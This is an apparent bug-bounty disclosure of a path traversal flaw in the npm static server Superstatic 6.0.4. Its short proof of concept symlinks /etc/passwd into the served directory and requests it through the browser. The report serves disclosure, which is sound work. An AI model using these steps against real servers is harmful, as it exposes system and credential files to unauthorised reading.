superstatic

vulnerability path traversal
severity 7.7
language javascript
registry npm

Description

I would like to report path traversal vulnerability in Superstatic module It allows an attacker to read system files via path traversal vulnerability

Module

module name: Superstatic version: 6.0.4 npm page: https://www.npmjs.com/package/superstatic

Module Description

Superstatic is an enhanced static web server that was built to power. It has fantastic support for HTML5 pushState applications, clean URLs, caching, and many other goodies. By default, Superstatic will simply serve the current directory

Weekly Downloads

335,788

Vulnerability Description

With a symbolically linked file in the working directory, it is possible to read arbitrary files outside of the web root directory.

POC

1)Install the Superstatic module $ npm install -g superstatic

2)Make a directory $ mkdir test

3)Go to 'test' directory $ cd test

4)create a symlink file ln -s /etc/passwd 'filename'

5)Run Superstatic module $ Superstatic

6)Request the file within browser http://localhost:3474/'filename'

References

These are similar reports https://hackerone.com/reports/510043 https://hackerone.com/reports/695416

Impact

This could have enabled an attacker to view system files and leverage attacks like remote code execution and so on